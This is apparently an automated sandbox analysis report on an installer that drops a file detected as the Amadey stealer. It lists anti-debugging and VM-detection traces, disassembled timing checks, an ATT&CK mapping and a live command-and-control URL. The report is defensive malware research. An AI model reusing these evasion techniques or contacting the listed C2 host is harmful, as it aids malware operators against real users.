Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100753 second address: 51007A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC16945A27Eh 0x00000011 sbb cl, 00000008h 0x00000014 jmp 00007FC16945A27Bh 0x00000019 popfd 0x0000001a mov bx, cx 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov ecx, 57ABC077h 0x00000026 popad 0x00000027 push FFFFFFFEh 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FC16945A280h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51007A6 second address: 51007B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461A9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51007B5 second address: 5100816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 54531947h 0x0000000e jmp 00007FC16945A287h 0x00000013 add dword ptr [esp], 22A6A6D1h 0x0000001a jmp 00007FC16945A286h 0x0000001f push 3F4E352Bh 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100816 second address: 510081A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 510081A second address: 5100820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100820 second address: 5100881 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC169461A9Bh 0x00000009 and ch, FFFFFFCEh 0x0000000c jmp 00007FC169461AA9h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xor dword ptr [esp], 49BE9B2Bh 0x0000001e jmp 00007FC169461A9Ch 0x00000023 mov eax, dword ptr fs:[00000000h] 0x00000029 pushad 0x0000002a mov ax, 781Dh 0x0000002e mov dx, si 0x00000031 popad 0x00000032 nop 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FC169461A9Bh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100881 second address: 51008E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A289h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FC16945A27Ah 0x00000013 jmp 00007FC16945A285h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007FC16945A280h 0x0000001f or ecx, 3997A768h 0x00000025 jmp 00007FC16945A27Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 51008E7 second address: 5100914 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC169461AA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC169461A9Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100A1A second address: 5100AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007FC16945A27Dh 0x0000000b sub ax, 7B36h 0x00000010 jmp 00007FC16945A281h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, edi 0x00000018 jmp 00007FC16945A27Eh 0x0000001d mov eax, dword ptr [76FBB370h] 0x00000022 jmp 00007FC16945A280h 0x00000027 xor dword ptr [ebp-08h], eax 0x0000002a pushad 0x0000002b jmp 00007FC16945A27Eh 0x00000030 pushfd 0x00000031 jmp 00007FC16945A282h 0x00000036 xor cx, E3E8h 0x0000003b jmp 00007FC16945A27Bh 0x00000040 popfd 0x00000041 popad 0x00000042 xor eax, ebp 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100AA8 second address: 5100AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100AAC second address: 5100AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100AB0 second address: 5100AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100AB6 second address: 5100AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC16945A286h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100AD0 second address: 5100AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100AD4 second address: 5100B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FC16945A27Ch 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007FC16945A280h 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007FC16945A27Ch 0x00000022 or esi, 3A11AB08h 0x00000028 jmp 00007FC16945A27Bh 0x0000002d popfd 0x0000002e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100B21 second address: 5100B6C instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov di, E638h 0x0000000b popad 0x0000000c mov dword ptr fs:[00000000h], eax 0x00000012 jmp 00007FC169461AA7h 0x00000017 mov esi, dword ptr [ebp+08h] 0x0000001a jmp 00007FC169461AA6h 0x0000001f mov eax, dword ptr [esi+10h] 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100B6C second address: 5100B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100B70 second address: 5100B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100B76 second address: 5100B7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100B7B second address: 5100BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 8937h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d jmp 00007FC169461A9Ah 0x00000012 jne 00007FC1DB220C28h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007FC169461A9Dh 0x00000020 pop ecx 0x00000021 pushfd 0x00000022 jmp 00007FC169461AA1h 0x00000027 add ecx, 70F49246h 0x0000002d jmp 00007FC169461AA1h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100BD4 second address: 5100C11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A281h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f popad 0x00000010 mov dword ptr [ebp-20h], eax 0x00000013 jmp 00007FC16945A282h 0x00000018 mov ebx, dword ptr [esi] 0x0000001a pushad 0x0000001b push esi 0x0000001c movsx ebx, ax 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 mov bl, 14h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100C11 second address: 5100C2E instructions: 0x00000000 rdtsc 0x00000002 mov si, 378Dh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov dword ptr [ebp-24h], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC169461A9Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5100C2E second address: 5100C50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov bh, 3Dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test ebx, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FC16945A282h 0x00000014 popad 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\setup.exe	Special instruction interceptor: First address: 666B2D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 11F6B2D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_05150DB0 rdtsc

0_2_05150DB0

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Window / User API: threadDelayed 450

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 4296	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 4820	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 4820	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7052	Thread sleep count: 450 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7052	Thread sleep time: -13500000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 5480	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3696	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 3696	Thread sleep time: -94047s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7052	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\setup.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: explorti.exe, explorti.exe, 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: explorti.exe, 00000006.00000002.2883573047.0000000000758000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWSo
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: setup.exe, 00000000.00000002.1692432472.0000000001411000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: explorti.exe, 00000006.00000002.2883573047.0000000000758000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: setup.exe, 00000000.00000002.1691582983.00000000005BA000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000001.00000002.1716995664.000000000114A000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000002.00000002.1729377013.000000000114A000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: setup.exe, 00000000.00000003.1659828144.0000000001427000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D

Source: C:\Users\user\Desktop\setup.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\setup.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_05150DB0 rdtsc

0_2_05150DB0

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F8645B mov eax, dword ptr fs:[00000030h]		6_2_00F8645B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F8A1C2 mov eax, dword ptr fs:[00000030h]		6_2_00F8A1C2

Source: C:\Users\user\Desktop\setup.exe

Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

Jump to behavior

Source: explorti.exe, explorti.exe, 00000006.00000002.2883811132.000000000114A000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: >Program Manager

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_00F6D312 cpuid

6_2_00F6D312

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_00F6CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00F6CB1A

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.explorti.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.setup.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.explorti.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.explorti.exe.f50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2883746071.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1651021209.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1689016813.0000000005740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2289232500.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1691354588.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1676236773.0000000004A80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1716934114.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1729291467.0000000000F51000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	224 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
setup.exe	100%	Avira	TR/Crypt.TPM.Gen
setup.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.19/	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpV	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php6	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpC:	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpppData	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpQ	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php1	100%	Avira URL Cloud	phishing
http://185.215.113.19/=	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpeb8a7	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpWindows	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php&	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpm32	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php54	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpL3	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpon	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.php(	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phprosoft	100%	Avira URL Cloud	phishing
http://185.215.113.19/Vi9leo/index.phpoft	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.19/Vi9leo/index.php	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.19/Vi9leo/index.phpppData	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/=	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.php1	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpQ	explorti.exe, 00000006.00000002.2883573047.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpC:	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.php6	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpV	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpeb8a7	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpWindows	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpm32	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.php54	explorti.exe, 00000006.00000002.2883573047.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpon	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpL3	explorti.exe, 00000006.00000002.2883573047.0000000000740000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.php&	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.php(	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpoft	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phprosoft	explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.19	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483206
Start date and time:	2024-07-26 20:55:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
